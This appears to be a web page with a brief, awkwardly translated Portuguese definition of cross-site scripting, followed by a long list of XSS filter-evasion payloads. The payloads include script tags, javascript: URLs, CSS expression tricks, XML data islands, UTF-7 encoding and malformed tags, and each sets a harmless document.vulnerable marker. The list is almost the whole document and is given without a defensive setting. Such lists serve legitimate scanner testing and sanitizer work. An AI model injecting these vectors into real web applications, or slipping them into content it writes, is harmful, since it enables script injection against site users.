Isso significa: Cross-site scripting é um tipo de insegurança computador ou falha de segurança típico de aplicações Web que permite que sites de terceiros injetar JavaScript usuário visualiza código ou outra linguagem de script semelhante (por exemplo, VBScript) evitando medidas de controle, tais como a política de mesma origem. Este tipo de vulnerabilidade é conhecida em espanhol com o nome de Cross-site Scripting.
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<SCRIPT>document.vulnerable=true;</SCRIPT>
<IMG SRC="jav ascript:document.vulnerable=true;">
<IMG SRC="  javascript:document.vulnerable=true;">
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true;//<</SCRIPT>
<SCRIPT <B>document.vulnerable=true;</SCRIPT>
<iframe src="javascript:document.vulnerable=true; <
<SCRIPT>a=/XSS/ document.vulnerable=true;</SCRIPT>
";document.vulnerable=true;;//
</TITLE><SCRIPT>document.vulnerable=true;</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<BODY BACKGROUND="javascript:document.vulnerable=true;">
<BODY ONLOAD=document.vulnerable=true;>
<IMG DYNSRC="javascript:document.vulnerable=true;">
<IMG LOWSRC="javascript:document.vulnerable=true;">
<BGSOUND SRC="javascript:document.vulnerable=true;">
<BR SIZE="&{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<LINK REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<STYLE>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
¼script¾document.vulnerable=true;¼/script¾
<IFRAME SRC="javascript:document.vulnerable=true;"></IFRAME>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></FRAMESET>
<TABLE BACKGROUND="javascript:document.vulnerable=true;">
<DIV STYLE="background-image: url(javascript:document.vulnerable=true;)">
<DIV STYLE="background-image: url(javascript:document.vulnerable=true;)">
<DIV STYLE="width: expression(document.vulnerable=true);">
<STYLE>@import'jaasc ipt:document.vulnerable=true';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A STYLE='noxss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
<STYLE TYPE="text/javascript">document.vulnerable=true;</STYLE>
<STYLE>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</STYLE>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<BASE HREF="javascript:document.vulnerable=true;//">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></OBJECT>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></HTML>
<? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">
<img src="javascript:document.vulnerable=true;">
<img dynsrc="javascript:document.vulnerable=true;">
<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
&<script>document.vulnerable=true;</script>
&{document.vulnerable=true;};
<img src=&{document.vulnerable=true;};>
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<img src="mocha:document.vulnerable=true;">
<img src="livescript:document.vulnerable=true;">
<a href="about:<script>document.vulnerable=true;</script>">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true;);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression(document.vulnerable=true;);">
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;//--></script>
<<script>document.vulnerable=true;</script>
<![CDATA[<!--]]<script>document.vulnerable=true;//--></script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
<img src="blah"onmouseover="document.vulnerable=true;">
<img src="blah>" onmouseover="document.vulnerable=true;">
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[À][¼]script>document.vulnerable=true;[À][¼]/script>